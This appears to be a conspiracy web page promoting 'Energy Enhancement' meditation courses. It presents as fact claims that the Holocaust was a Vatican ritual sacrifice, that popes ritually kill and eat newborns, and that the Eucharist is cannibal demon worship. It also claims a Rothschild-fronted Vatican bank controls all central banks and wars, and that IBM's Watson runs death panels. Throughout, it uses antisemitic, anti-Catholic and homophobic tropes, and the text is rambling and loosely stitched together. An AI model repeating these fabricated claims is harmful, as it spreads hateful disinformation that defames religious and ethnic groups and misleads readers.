3. Ritual Human sacrifice see http://one-evil.org/content/acts_ritual_sexual_human_sacrifice.html and http://one-evil.org/content/acts.html
THE INQUISITION - 50 MILLION PEOPLE TORTURED AND BURNT ALIVE
4a. Ritual Burning Alive.. The Inquisition (Latin inquirere, to look to) see http://one-evil.org/content/ritual_inquisition.html
is an eight hundred year old Roman Catholic tool, ceremony and institution dedicated to evil.
While the Inquisition is in one instance an ecclesiastical tribunal, an institution of the Vatican, a series of historical movements -- its first and primary purpose was and has always been for the punishment and suppressing of heresy and elimination of infidels lawfully.
In the simplest of definitions concerning the Inquisition, a "heretic" is any person who essentially believes in the sacred scriptures of Christianity but refuses to yield to the "absolute temporal power and moral authority" of the Pope. An infidel is anyone who does not believe in the Christian philosophy.
As the Inquisition has never been disbanded, nor its rules struck out, it remains the only example of lawful human sacrifice in the world today. The last time the legal framework of the (Holy) Inquisition was used was in 1940-1945 with the sacrifice of over eighteen million innocent Orthodox Christians, Protestants, ethnic Jews and other minorities by the Catholic Dictators loyal to the Vatican.
As an Inquisition is technically lawful, the sacrifice of millions of people by burning them alive in ovens cannot be "legally" considered murder. This is one of the major reasons no Pope, Cardinal or Jesuit priest has ever been held accountable for the evils they unleashed in World War II.
The Inquisition and legal human sacrifice
While Pope Lucius III was the first to establish the Inquisition through papal bull Ad Abolendam, as the legal and moral framework for human sacrifice and barbaric torture of innocent people, it was Pope Innocent III (1198-1216) who put it into full effect. The key elements being: The Laws of the Church, The Inquisitor, The Accused, The Act (or Offence), The Tribunal and The Witness.
The Inquisitor, strictly speaking, was a special but permanent judge, acting in the name of the Pope and clothed by him with the right and the duty to deal legally with offences against the Faith adhering to the canon laws of the Church. Thus, within the spectrum of enforcing Church Law, the Inquisitor had (and still has) the legal power over life or death of the accused.
Next, the Accused was to be summonsed to appear before the Inquisitor. The Accused does not actually have to be charged with any crime of heresy at this point -- once their name is written down on a piece of paper and the individual acknowledged themselves to be that person, they ceased legally being a person and instead became both a legal personality and property. Just the simple act of acknowledging themselves to be who they are in front of the Inquisitor was enough for him to legally have complete control over their destiny.
Charges could then be drafted later, if required. But more often than not, the person would be tortured until some kind of confession of some crime was obtained -- in later centuries most notably the witches and magic - promoted by the church and then used to snare millions of innocent people of intelligence.
The Spanish Inquisition - The condemnation of souls
The Inquisitions took an added evil dimension under the Spanish Inquisitions two centuries after Pope Innocent, with the introduction of the public ritual of cursing/damning the souls being sacrificed by repeating their names, their crimes and the ritual of exorcism.
Far from being a misguided Christian act, this Inquisition ritual of burning people alive was the very deliberate embodiment of Necromancy and black magic to create an egregore protecting the Catholic Church - in the control of the souls of recently departed by condemning them to eternal service to the priests and church.
The largest example of the Catholic Church ever condemning souls to itself in this was..
4b. Ritual Burning Alive.. The Holocaust see http://one-evil.org/content/acts_vatican_holocaust.html - the mass sacrifice of over eighteen million innocent Protestants, Orthodox Christians, ethnic Jews and minority groups by burning several million of them alive in ovens in Poland and Russia less than seventy years ago by Catholic dictators represents the largest and most expensive act of mass human sacrifice in history.
Far from being a misguided Christian act, this Inquisition ritual of burning people alive was the very deliberate embodiment of Necromancy and black magic to create an egregore protecting the Catholic Church - in the control of the souls of recently departed by condemning them to eternal service to the priests and church. Egregore (also egregor) is an occult concept representing a "thoughtform" or "collective group mind", an autonomous psychic entity made up of, and influencing, the thoughts of a group of people. The Catholic Church has created this consciously by burning people alive for a thousand years. The symbiotic relationship between an egregore and its group has been compared to the more recent, non-occult concepts of the corporation (as a legal entity) and the meme. They believe this!!
POPE PIUS XII CREATED FASCISM
So vast were the military and logistical resources ordered to be deployed to this “Great Inquisition” from Rome from 1939 to 1945 that it played a major part to the eventual downfall of the Nazi Third Reich. The effort to efficiently sacrifice the largest number of non-Catholics in 24 x 7 purpose-built ovens [24 hours a day, 7 days a week] was a massive logistical effort- not the least of which required the complete genealogy analysis of most of Europe.
If not for the genius of fledgling American technology companies such as Watson's IBM - Innovative Business Machines, who created the first computers for the task of confirming who were to be saved and who were to be slaughtered, if not for the hundreds of millions of dollars in research by pharmaceutical companies into advance nerve agents to render people unconscious in “gas” chambers for easy transport to the ovens, then the plan would have been impossible. Plus ca change.. IBM's Watson AI supercomputer now runs the Death Panels and the Death Lists for Obamacare and the Veterans to decide who gets treatment, who gets aspirin and a stick, and who dies.
But most of all, if not for the willing and complicit support by Allied leaders not to interfere with the Vatican project, the Nazis managed to kill more innocent people by fire in 1944 and 1945 than all the other years combined.
5. Ritual Cannibalism of blood, organs, appendages http://one-evil.org/content/ritual_cannibalism.html
http://www.energyenhancement.org/ Cannibalism-magical-power.pdf
The oldest and most sacred ritual in honor of cannibalism- the consumption of a victims flesh and blood, to consume their spirit and essence is the ritual of the Sacred Eucharist of Osiris.
Two and a half thousand years before the ritual was introduced into the ceremonies of Krishnianity, the ceremony of the sacred eucharist of Osiris was well established the origin of both the concept, the ritual and almost word for word the description used by the Roman Catholic Church today.
There are two streams of cannibalism concerning the Fertility Goddesses of the ancient world- the literal cannibalism associated with the frenzied death associated with Osiris in which the flesh and blood of a human victim is eaten raw by the initiates in a frenzied state called Omophagia meaning "Eating-into-the-belly". The other was the "more refined" ritual of the Sacred Eucharist in which blood of a victim was intermingled in unleavened bread to form the Eucharist.
Of the two, the physical eating of flesh and blood of a dying person was rarely ever practiced and became most common during the demonic reigns of the dynastic Popes, climaxing in the years of the 12th to 14th Centuries when the Vatican ceased all pretence of being a place of sacredness and became the most open example of human sacrifice and demon worship not seen in Europe since late Neolithic times.
None of the modern liturgy of the Roman Catholic Church concerning the Eucharist has any origin from Jewish culture whatsoever. The claim that it is a derivation of the Jewish passover is a transparent and poor lie as the Krishnian ceremony is virtually word for word identical to the ancient Osiris ceremony.
The modern significance for Roman Catholics today in participating in the purely pagan ritual of celebrating the eucharist of cannibalism to demonic gods each week has its own special significance.
The Catholic pays homage to the supreme demonic deities of the Catholic Church, the real gods hidden behind the facades of false worship- Attis is hidden behind Jesus; Cybele is Mary, Dagon/Ba'al/Molech is "god".
Even though Catholics celebrate cannibalism ceremony each week, their lack of knowledge of the truth of the ceremonies does not lessen its impact .
6 . Ritual Castration - removal of genitals and breasts (See Angelina Jolie)
see http://one-evil.org/content/ritual_celibate_christian_priesthood.html
HIGH PRIESTESS ANGELINA JOLIE RITUAL BREAST CASTRATION
The Sacred Celibacy of Catholic Priests derives directly and solely from the continuation of the rituals and ceremonies concerning the worshipping of the Goddess Mother, the Queen of Heaven variously known as Inanna, Athena, Cybele and Mary, mother of god.
These rituals date back to at least 1500 BCE and when Cybele was brought to Rome as the Magna Mater (Great protector) in 204 BCE to Vatican Hill, the rituals of sacred celibacy from which Clerical Celibacy of Catholic Priests is directly derived.
Absolutely nothing concerning the Sacred Celibacy of Catholic Priests has anything to do with the early church fathers, their rules or the behaviour of the Apostles. Early church fathers were recognized as being married, as were the Apostles.
Even when celibacy began to be forced upon priests of the church from the middle of the 12th Century by Popes of the Roman Cult faction, it was for clergy of lower rank than Bishops. Bishops, Cardinals and Popes continued to father illegitimate children with abundance up until as late as the 17th Century. It was only the lower clergy who were gradually forced to adopt the extreme rights and practices of the pagan Goddess Cybele and her eunich son Attis.
The word "Celibacy" is first recorded in English from the 17th Century and claimed from the 12th Century Latin cælibatus "state of being unmarried" and cælebs "unmarried".
However, a much older Latin word coeleb meaning "bachelor" existed prior to the creation of these 12th Century forms, which strongly indicates the assumed etymology for Celibacy has been deliberately corrupted.
Instead, the word is much more likely formed from the combination of two ancient Latin terms celo "to hide, conceal, keep secret" and liber "child, offspring" (liber also later corrupted to mean book). Hence, the true meaning of Celibacy as 1st formed by the Roman Cult probably means literally " to hide, conceal and keep secret children and offspring".
This is crucially important as it indicates that as early as the 12th Century when the Roman Cult first introduced the Cybele practice of non-marriage of its priests, it did not demand they become modern equivalent of eunuchs but to merely "hide" their offpspring as permanent bachelors.
The Galla
The celebrations of Attis around the Day of Blood, were also significant as the time upon which new initiates to the priesthood of Cybele showed their utmost devotion in cutting off their own genitals in a bloody frenzy and celebration.
The Galla, also later written as the Galli were the lowest rung in the order of priestly service to Magna Mater on Vatican Hill. The most senior was the High Priestess and then later the High priest under Emperor Claudius.
Subordinate were the Archgalla (later the role of Bishops and Cardinals), followed by the priestesses, the sacred prostitutes who were "Brides of Attis". The lowest being the ordinary Galla (Galli).
On the Day of Blood (dies sanguinis) the Galla initiate forever discarded his male attire; henceforth he wore a long garment (stola), mostly yellow or many coloured with long sleeves and a belt. On their heads these priests wore a mitra, a sort of turban, or a tiara, the cap with long ear flaps which could be tied under the chin.
The chest was adorned with ornaments, and sometimes they wore ornamental reliefs, pendants, ear-rings and finger-rings. They also wore their hair long, which earned for them the epithet of "long-haired," they sometimes dedicated a lock of hair to the goddess.
By preference they had their hair bleached. On the day of mourning for Attis they ran around wildly with disheveled hair, but otherwise they had their hair dressed and waved like women. Sometimes they were heavily made up, their faces resembling white washed walls. The galli were also very conspicuous when they showed themselves in the city outside the temple precincts.
With a procession of enthusiastic followers they wandered about begging; in exchange for alms they were prepared to tell people's fortunes (vaticinari); they performed their dances to shrill music of the pipes and the dull beat of the tambourine. When the deity entered into them and they were possessed by divine power they flogged themselves until the blood came."
The origin of the Galla and their forced celibacy
While popular mythology connects the behaviour of the Galla (Galli) displaying extreme devotion primarily emulating the god Attis in cutting off their genitals and becoming women, there existed a much older and deeper function.
It relates to secret mysteries and powers believed that priests might access if they forever eliminated the distraction of male sexual urges.
In Sumerian-Akkadian myth the Galla were daemons of the underworld, who disposed of the corpse of the dead. Literally they were the servants of Ereshkigal, Goddess of the Underworld.
When Inanna's father, Enki, heard that Inanna had descended to the underworld and did not return, He took dirt from under his fingernail and from this made Kurgarra and Galatur [that which repels Galla] and sent them to the underworld where Inanna's corpse was given to them.
"The Kurgarra sprinkled the food of life on the corpse.
The Galatur sprinkled the water of life on the corpse.
Inanna arose..."
But when,
"Inanna was about to ascend from the underworld
When the Annaua, the judges of the underworld
seized her. They said:
`No one ascends from the underworld unmarked.
If Inanna wishes to return from the underworld,
She must provide someone in her place.'"
Inanna agrees and the large Galla and the small Galla follow her to the world above where she sends her unfaithful husband, Dumuzi, to take her place.
"The Galla were demons who know no food who know no drink,
Who eat no offerings, who drink no libations,
Who accept no gifts.
They enjoy no lovemaking.
They have no sweet children to kiss.
They tear the wife from the husband's arms,
They tear the child from the father's knees,
They steal the bride from her marriage home."
In other words, they were the daemons of death, and it appears that the castrated Galli-priests of Attis performed much the same ritual of sending the castrated Adonis-Attis-Dumuzi to the underworld.
The importance of Sacred Homosexuality and the Galla (Galli)
The other most important aspect of the Galla, the Catholic Priests and the continuation of the worship of Cybele is the distinction of what is Celibacy and an abstinance of sex. Originally, the Galla cut of their genitals, so they could no longer perform sex acts as men.
This did not preclude them from having sex -quite the opposite, it opened the door for sacred homosexual acts where there Galla were sodomized during various ritual and celebrations.
Such homosexuality was considered so sacred that the promotion of homosexuality outside of a religious context was frowned upon by the priests and supporters of Cybele. Open homosexuality was considered an afront to its sacred and ancient nature.
This policy has continued today with the Roman Catholic Church strongly against open homosexuality, while sacred homosexuality between its clergy remains as strong as it has been since the days of the Galla.
Most people believe that a powerful ancient satanic goddess is concealed behind Eulogia, and that their secret patron goddess unveiled is actually the Queen Mother of Babylon, Goddess Ishtar – and another name for Lucifer’s Consort, the Goddess Cybele (Lillth).[44]
The Cult of Cybele was sanctioned by the Roman Senate. State Religion of the Roman Empire. Known as the Great Mother or Magna Mater - Mary the mother of Jesus, the Greeks identified her with the Goddess Rhea (Mother of the OLYMPIANS) and Demeter (Goddess of the Harvest).[45]
The Cult of Cybele and the Cult of Moloch (CHILD SACRIFICE) is related to the secret ancient Roman/Venetian Satanic (Brotherhood) Death Cults.[46]
Negro Divine Nine & the Ninth Satanic Circle
The Eucharistic celebration/ritual involves ancient secret Satanic Cannibalistic Rites. Cannibalism means the consumption of a victim’s flesh and blood to consume their spirit and essence.. [47] At one time in the world, cannibalism and human sacrifice had been a state of mankind before God Osiris ended the savage/barbaric practices to further separate Man from the BEAST.[48] However, the rituals of sacrificing a human being for the purpose of their blood, including rituals associated with self injury in order to cause blood loss had been the primary secret domain of worship of the Mother Goddess/Cybele for nearly ten thousand years.[49] The secret worship and blood sacrifices of Cybele has survived in ultra secrecy.
Some rituals of the Catholic Church are still tightly entwined with ancient Roman blood rituals of the Cult of Cybele. The worship of Attis or Adonis (known across the ancient world as the Good Shepherd, the son of Cybele), had always been interwoven with the worship of his mother, the Queen of Heaven.[50]
Its Vatican Bank is fronted by the Rothschilds, has 500 Trillion Dollars, controls 70% of Fortune 500 companies, controls 70% of all banks Worldwide, controls 100% of all central Banks, consciously creating all depressions, all austerity, all Wars, all famine genocide.
Behind the shroud and Black Mass (False Worship), Catholics pay homage to some of the most secret supreme demonic deities. Attis is hidden behind Jesus; Cybele is secretly behind Mary; Dagon/ Ba’al/Molech behind “god”.[51] Of all the ceremonies and festivals associated with Attis, the most important was known as Black Friday or Dies Sanguinis (the Day of Blood) on or around the 25th of March, nine (9) months before the solstice festival of his birth on 25th December.[52],[53]
Like the ‘Christ’, Attis arose when "the sun makes the day for the first time longer than the night.”
During the ceremonies of the Attis’ Day of Blood, new initiates to the priesthood of Cybele castrated themselves in imitation of the castrated god and presented their severed genitals to the goddess along with those of the gelded bull sacrificed at the Taurobolium. Sacred reeds were placed in the urethra to prevent it closing up.
CYBELE AND ATTIS (ADONIS) - RITUAL CASTRATION
The State Religion of the Roman Empire was that of Cybele and Adonis or Attis.
Cybele loved the beautiful shepherd Atys, and made him her own priest on condition that he should preserve his chastity inviolate, only worshipping Cybele. Atys broke the covenant with a nymph, the daughter of the river-god Sangarius, and was thrown by the goddess into a state of madness, in which he unmanned himself. When in consequence he wanted to put an end to his life, Cybele changed him into a fir tree, (The fir tree, reed, represents the column of Energy, the Antahkarana connecting Earth with God, the Penis) which henceforth became sacred to her, and she commanded that, in future, her priests should be eunuchs or as in the Catholic Church, celibate, or the Jews and Islamists, circumcised.
The Christian polemicist Prudentius, 348 — c. 410, writes about the Dendrophoria festival of Cybele and the transition ritual of her cultic
servants, the Galli who castrate themselves in order to offer themselves for Sacred Ritual Sodomy as Dog Priests:
"There are rites in which you mutilate yourself and maim your bodies to make an offering of the pain. A worshipper possessed thrusts the knife into his arms and cuts them to propitiate the Mother goddess. Frenzy and wild whirling are thought to be the rule of her mysteries. The hand that spares the cutting is held to be undutiful, and it is the barbarity of the wound that earns heaven.
Another makes the sacrifice of his genitals; appeasing the goddess by mutilating his loins, he unmans himself and offers her a shameful gift; the source of the man's seed is torn away to give her food and increase through the flow of blood.
Both sexes are displeasing to her holiness, so she keeps a middle gender between the two, ceasing to be a man without becoming a woman. (Prudentius, Perist.1059-1073)
"What are profane, if these are sacred rites? Or what is pollution, if these are ablution?" 2Those fundamental cognitive orientations by which men order their lives (Spiro1987: 18).
The explanandum in this article is the self-castration of Cybele's Galli.3
Such Ritual Damage to the body allows even more easily the implantation of the Sexual Addiction Blockage - but Sexual Ritual, hetero, homo, pedo or Pornography or even the company of Implant Addiction Blockage Sexual Addicts can implant you - which like Satanism itself, Implant Addiction Blockages are used to control the elite...
There is no escape.
Only Meditation can remove these Implant Addiction Blockages.
Only Meditation can remove All Energy Blockages.
This practice is also called Spermatophagia or the Tantric Eucharist and it reminds one of new priests ordained to the Roman Catholic priesthood, offering up their manhood by making a vow of celibacy.
It is believed that by relinquishing their manhood priests will have access to the secret mysteries and powers, which will take the place of their male sexual urges.
The other most important aspect of the Galla - the priests of the ancient system Of Cybele and Adonis, The State Religion of the Roman Empire - Roman Catholic priests and their continuation of the worship of Cybele, is the distinction between celibacy and an abstinence of sex. The Galla ritually cut off their genitals so they could no longer perform sexual acts as men.
This, however, did not preclude them from having sex - quite the opposite. It opened the door for ‘sacred’ homosexual acts where the Galla were sodomized during various rituals and celebrations as Dog Priests.
Such homosexuality was considered so sacred that the promotion and practice of homosexuality outside of a religious context, was frowned upon by the priests and supporters of Cybele - open homosexuality was considered an affront to its sacred and ancient nature.
Today, there is a secret group, of which some are members of the Catholic hierarchy, known as The Ninth (9th) Satanic Circle. The Ninth (9th) Satanic Circle is a cult, requiring mandatory entry into the Circle, of every new pope before their assumption of office. At Circle rituals, Satanic sacrifices called the Magisterial Privilege are made that involve the ceremonial killing of newborns, children and the consumption of their flesh and blood by the members of this cult.[54]
The Venetian Molech Satanic Cult was founded by AntiPope Innocent III around 1198 during his reign as AntiPope and head of the Roman Death Cult.
Unlike previous members of the Roman Death Cult, AntiPope Innocent did not worship Magna Mater (Cybele) and the ancient demon gods of the Vatican. Instead, Innocent introduced a whole new religion based on Molech, the most ancient and escoteric knowledge of the Sadducee High Priests who ruled such temples as Baalbek and Jerusalem over 1,800 years prior.
Instead of worshipping Cybele, members of the Venetian Satanic Cult worship Child Burning Moloch and the demons of the underworld.
The son of Innocent III, AntiPope Honorius III was instrumental in introducing a completely new liturgy through his Grand Grimoire - the first genuine book of Witchcraft of Western Philosophy. In fact Honorius is the father of Witchraft, modern Wicca and the Inquisition.
Before the liturgy of Honorius and the invention of the Inquisition, Europeans had largely never heard of witches, witchcraft or any of the "foreign" concepts of damning people's souls. The Inquisition was brilliantly designed to "educate" people on the black arts, demons, pentagrams and other symbols while claiming to be searching for witches.
Thus the behind the scenes battle between the Religions of Cybele and Attis and that of Baal/Moloch. Between Eastern Orthodoxy Greece/Russia and Catholic Rome, between Israel and Islam. Thus Napoleon attacks Russia, Russian Revolution - WWI, WW2 - Germany against Russia and the creation of Israel, Ukraine setting Europe/NATO against Russia.
So, all these egotistical narcissist Illuminati - like drug and sex addicted Aleister Crowley - who are taught they are so superior because they do Sex and Drug Rituals, because they, "Choose to be Enlightened" or " E nlightenment comes only because I choose it and believe I am already there.." in reality are filled with negativity, filled with Implant Addiction energy Blockages which send their psychic energy, vampirise their psychic energy back to their demonic Masters.
The 6000 Superclass Billionaires are all atheist, superstitious and classical european black magicians who believe all this - a psychopathic religion created by their myth making masters.
As I said before.., "Totally Fucked!!"
Ritual Homosexuality and Pedophilia are symptoms of the Satanic Religion and the Satanic Sex Addiction Blockages in Society. It was the arrest of the notorious Jewish born child serial killer Mr Dutroux in August 1996 that brought the Belgium Paedophile scandal to light. The rescue of the last Two young girls he kidnapped lead to an investigation of Dutroux. Five women who testified anonymously in Belgium under the code name ”X” described a generational family underworld of Satanism, where Satanic Families pimped out their children for rape, pedophilia, sadomasochism, torture, cannibalism, snuff movies, and murder. They said that Satanic politicians, Bilderbuggers and other high placed members of society were involved.
The Psychological aspect of Satanism is a very important and severely underestimated aspect of the occult because it is the power of these myths, the manipulation of belief systems and the ability to propel someone or group of people to perform insane psychopathic activities based on these beliefs that give the occultists such power.
This is the purpose of these consciously created Pagan, Satanic, Psychopathic Religions..
Remember The Catholic Church Inquisition? Religious Jihadists? The effects of "small" changes to Islam - Only worship God, do not worship Relics and Saints as the Venetian Empire did when Cardinal Contarini paid Agent Martin Luther to create Protestantism - created by British MI6 in Wahabism and Salafism - the source of Alqaeda and ISIS? Who blow up Relics and the Mosques of Saints and the enormous Buddha statues in Afghanistan - Charles Manson?
They are able to get others to commit insanely violent acts because they consciously manipulate their belief system in some way. See..
THE SATANIC INFILTRATION OF RELIGIOUS CULTS TO CREATE POVERTY AND CONTROL HUMANITY The Witchcraft of Christians Who Are Not Christians and the Satanic Infiltration of the Goddess Isis, Horus, Osiris and Dionysius; Wahabism and Salafism and the creation of Freemasonic Muslim Brotherhood ISIS Jihadi Caliphate.
This is where the occult and occultists get so much of their power. Beliefs and belief systems alone are what give people any impetus for outrageous, insane, psychopathic actions like Inquisition Torquemada's (Tortura y Quemada) torture and burning people alive or cutting out their hearts and eating them raw - as we saw on a recent Jihadi video, or just going to War...
The element that occultism focuses on are both perceptions and belief systems. There is nothing mystical about it, but the power of the occult rests very much on this and the power to deceive - google, "false flags" - by manipulating perceptions - which is why Universities, Education, Common Core Curriculum, and the mainstream media is so crucial to their power.
Sustainability, Agenda 21, Global Warming, and Climate Change as instruments for an Austrian Economics, Global Depopulation, Genocide Agenda
It is their ability to deceive, in either making someone believe something is true when it is not or to believe that something is false when it is in fact, true. This may sound almost too juvenile an analysis but all Occultism is based on the power to deceive from the Father of Lies one into service of some sort.
"Fair is Foul and Foul is Fair. Hover through the fog and filthy air" - The Witches in Shakespeare's Macbeth
How to know what is Foul and what is Fair?
The Buddha said, "If I form a Religion, it will be Infil-Traitored, if I write a book, it will be changed"
And so, throughout history there are many Black Popes and many Cardinals who were known as Necromancers and Black Magicians.
The Dalai Lama sent Lama Zopa to investigate a Tibetan Buddhist sect who worshipped a Demon, and he excommunicated that sect.
And many Gods, and many Religions, many Symbols and many Myths.
And all the Gods, Religions, Symbols, Myths have at their heart something good.
And all the Gods, Religions, Symbols, Myths can be interpreted in a good way.
And all the Gods, Religions, Symbols, Myths can be interpreted in a Satanic way which leads to ritual sex, human sacrifice and death etc.
As Father Bede Griffiths said, "It's all in the explanation"
It is all in the source of that explanation.
Is the source Satanically Psychopathically Demonic or does it come from the One True God?
Is the person interpreting Psychopathically Satanic or is he truly good, at One with the One True God?
Does it come from a Satanic Psychopathic Chakra energetically blocked, cut off from God, or does it come from Truth an infinity of chakras
above the head, from the One True God?
How to know that which is Foul and that which is Fair?
Goodness Does Exist, Truth Exists, the One True God Exists.
"False Gold is Created to fool you because Real Gold Exists" - Tamil Siddar, Thiruvalluvar
"Gold, The More you Heat it, the More it Shines" - Tamil Siddar, Thiruvalluvar
Well, it is the evolution of every human being to arrive at the state of Enlightenment, at one with the One True God, Endless Endlessness, Nothing, Nirvana, Purity, Truth.
It is Only in Meditation, in Samadhi, in Viveka, in Samyama, in Kaivalya where we can get in Touch with that Truth, See the Truth, Be Changed by it.
That State where, "You don't get fooled again"
The issue of Blackmail must also be addressed. Because if in these bizarre rituals and secret associations, obscene and perverse acts are transpiring and these acts are recorded in some manner, as takes place in the Fascist Skull and Bones initiation ritual, then we see the kind of hold those who hold the damning evidence has over the initiates.
Secret Organisations, Blackmail and Money - the three greatest sources of Political Control.
THE EMASCULATED PHRYGIAN CAP OF ATTIS
The Phrygian Cap of castrated Attis represents the Emasculated column of Energy, the Antahkarana connecting Earth with God
THE REAL GOLD!!
"FALSE GOLD EXISTS ONLY BECAUSE OF REAL GOLD" - TAMIL SIDDAR, THIRUVALLUVAR
The Wizards Cap like the Buddhist Stupa represents the column of Energy, the Antahkarana connecting Earth with God - the rings represent the number of chakras above the head - As it ascends to ONE point we can assume it means the ONE TRUE GOD an infinity of chakras above the head.
As the Cuilliaéan (Druid Priest Class) exported spiritual reasoning to all corners of the known world from the 5th Millenium BCE onwards, so too their artifacts of Gold were considered to possess supernatural power. One of the most excellent examples of Cuilliaéan spiritual gold work still preserved are the "Wizard" or Vizier hats (one known as the Berlin Gold Hat) detailed extremely accurate lunar settings and astronomical information.
THE KIPPA REPRESENTS ENERGY BLOCKAGES ABOVE THE HEAD CUTTING ONE OFF FROM CONSCIENCE
The Cap of Cybele is one of the oldest and most sacred religious symbols of humanity. It is a thin, slightly rounded skullcap now commonly known by various titles including Kippah, Yarmulke, Kufi and Zucchetti.
EMASCULATED MORTARBOARD HAT - EMASCULATED UNIVERSITY EDUCATION
U nderstand I have nothing against any religion, it is the Rituals - including the Inquisition with its torture Rituals and its burning alive Human Sacrifice Rituals or the War, "lives for Satan" Rituals - it is the Rituals which degenerate its members aiming to pervert and take over our leaders by demonic possession creating psychopaths -
You do not have to believe in this but remember, They Believe in This!!
BAPHOMET
"Sex with the demon possessed in Sexual Ritual is a diabolical means for transforming the individual and eventually completely taking over of the brain and body by "the evil spirit." That's been one way of taking control of an organization using high ranking members, by taking over their minds and bodies. Yet, how could Pike, Mazzini and their associated conspirators get persons to submit to such a diabolical process?" - Sonny René Stermole
To create an army of psychopaths who will follow any order..
The Illuminati Enemy Within Freemasonry - Weishaupt, General Pike, Palladian Rite, Morals and Dogma, Albert Pike, Rose-Croix, Templars, Alta Vendita or highest lodge of the Italian Carbonari, Mazzini, The Lost Keys of Freemasonry, Manly P. Hall the seething energies of Lucifer - Satan, or Lucifer, and the demons, Demonic Possession, Morals and Dogma, Albert Pike, Elias Ashmole edited Dr. John Dee, sorcerer who "brought through" the Enochian system of magic, of satanic ritual and demonic evocation, the Pagan Eleusinian Mysteries, Council on Foreign Relations ... the Trilateral Commission ... and the Bilderberger Group serve to disseminate and to coordinate the plans for this so-called new world order, Alice A. Bailey, 1950, 1986, "The Plan" involves a one-world government, an occult hierarchy, an elite "illumined" oligarchy ruling over a world in which Christianity has been slated to be displaced and destroyed.
http://www.theforbiddenknowledge.com/hardtruth/america_subversion4.htm
ROASTED BABIES
Last month, police in Thailand arrested a British citizen after six roasted fetal corpses were found in his luggage. The bodies were believed to be between two and seven months old, according to the Guardian. Some were plated in gold leaf, apparently for use in black magic rituals.
Infowars Alex Jones Believes Bilderberg Attendees Ship in Gold Covered Roasted Babies to Eat
Image source: Reuters
Outside the annual Bilderberg - Bilderbugger - meeting in Virginia on Thursday, Alex Jones of Infowars accused attendees of possessing the same thing — to eat.
Video posted online captured Jones shouting into a bullhorn outside the meeting place, claiming Bilderberg members “ship in roasted babies wrapped in gold foil for them to eat” — and making it clear he wasn’t kidding.
“Every week they catch them shipping little babies wrapped in gold foil for these guys to eat. They admit that’s where it goes to, I’m not making this up,” Jones said.
http://one-evil.org/content/acts.html
Here is the latest in my series about the Effects of the, "Dark Side" on the Last Tens of Thousands of years of Modern Society.. It's solution and protection is Energy Enhancement Video Course and Live Courses..
Jesus says, "Stay away from Evil" and on the path of, "The Energy Enhancement Mastery of Relationships" be aware that bad people project energy blockages connected with the deepest satanic evil into all who meet with them. Having sex with these evil people, anyone at all evil, with any degree of evil, injects these evil, Addiction, Psychopathic, Energy Blockages even deeper.
In the same way being in the presence of good people who can project Angel Talents into your psychic body and who can dissolve your Evil Energy blockages is a very good thing...
1. Tantra and Homosexuality in Satanic Ritual Homo-Occultism
2. The Left and Right Hand Paths of Awakening Kundalini
3. In the House of the Strong Man, Satanic Sodomy is the Key - The Ritual Implantation of Energy Blockages
4. The Luciferian Religion's role in the Fall of Civilisations - The Role of Pagan Satanic Ritual Homo-Occultism in Causing the Fall of the Roman Empire and the Degeneration of Hitler's Germany
Don't get me wrong, Real Religion is Real Gold but any Rite above is False Gold Satanism - No-one became enlightened through Ritual Drugs and Sex etc!!
SATANISM, RITUAL SEX AND HUMAN SACRIFICE, BLOODLINES, SATANIC PROPAGANDA AND THE REMOVAL OF MIND CONTROL IMPLANT ADDICTION SEX AND DRUG BLOCKAGES
'You're better clueless because the truth is horrible'- The Ostrich Syndrome
"Everybody is ignorant, only on different subjects." -- Will Rogers
As the Earth is a Factory for the production of Enlightened beings and Karma is the method of refinement - as you give, so you receive.. many people are not yet ready for Enlightenment.
However once the student gets hold of the idea that Energy Enhancement Meditation can Ground Karma he understands that passing through Evil Karma is not necessary, that a New Method of Evolution is in place.... To Speed up the Process of his Enlightenment.
Ground Karma, Sparkle the World
Remove Energy Blockages, Fill the World with Light..
The Buddha said that, "if I talk, I will be mis-understood", "if I write what I write will be altered and new verses added", "If I create an organisation it will be infiltrated and taken over by psychopaths". He said, "There is Nothing I can do here!!" and he prepared to withdraw from the body and consciously ascend to heaven...
But all the Gods came to see him and said, "There are few who are ready, just on the point of Enlightenment, and just a word from you could be sufficient to cause Enlightenment in them". And the Buddha was satisfied and resolved to stay. And for another 40 years he spoke in the Purple Grove...
As Dante said at the gates of hell, "Abandon hope all ye who enter here!!"
This Satanic Program has been in force for 10,000 years before the time of Satanic Babylon and has been the cause of the degeneration and destruction of seventy-three empires and civilisations. The aim is destruction of human potential and evolution. Stopping this is a large task whose start is individual Enlightenment, the Right Hand Path, the Energy Enhancement Removal of Mind Control Energy Blockages.
The Satanic World has been at war against the Human species for over 10,000 years
Ground Karma, Sparkle the World
Remove Energy Blockages, Fill the World with Light..
Only Energy Enhancement, following the Christ, Buddha and Tamil Siddar Patanjali - see www.energyenhancement.org/patan.htm - can remove all Energy Blockages and make you free and independent of Vampirisation of your energy
Buddha and Jesus and all the Saviours and Saints are evidence that real, compassionate, conscience driven enlightenment is possible.
Real Enlightenment only comes through the process of Meditation.
Let me say that again, - Real Enlightenment only comes through the process of Meditation.
Ritual Human Sacrifice in the Satanic Old Testament of the Bible
The Bible, especially the Old Testament, is filled with numerous stories of animal and human sacrifice. God, we are told, likes the pleasing aroma of burning flesh. Animal sacrifice is much more common than human sacrifice, but both occur and are “pleasing to the Lord”.
Genesis, the first book of the Bible, has Abraham preparing to sacrifice his son to God. “Take your son, your only son – yes, Isaac, whom you love so much – and go to the land of Moriah. Sacrifice him there as a burnt offering on one of the mountains, which I will point out to you.” (Genesis 22:1-18) Abraham takes his own son up on a mountain and builds an altar upon which to burn him. He even lies to his son and has him help build the altar. Then Abraham ties his son to the altar and puts a knife to his throat. He then hears God tell him this was just a test of his faith. However, God still wanted to smell some burnt flesh so he tells Abraham to burn a ram.
Even though he didn’t kill his son, it is still an incredibly cruel and evil thing to do. If Abraham did that today he would be in jail serving a long sentence as someone’s prison-bitch. It amazes me how Christians see this story as a sign of God’s love. There is no love here, just pure unadulterated evil.
The first seven chapters of Leviticus have extensive rules regarding animal and food sacrifices. These offerings are supposed to be burnt so that God can smell them. If you read through these it seems clear to me that the priests were getting their followers to make a big feast for them every week. The priests were very particular about what kind of food to bring and how to prepare it.
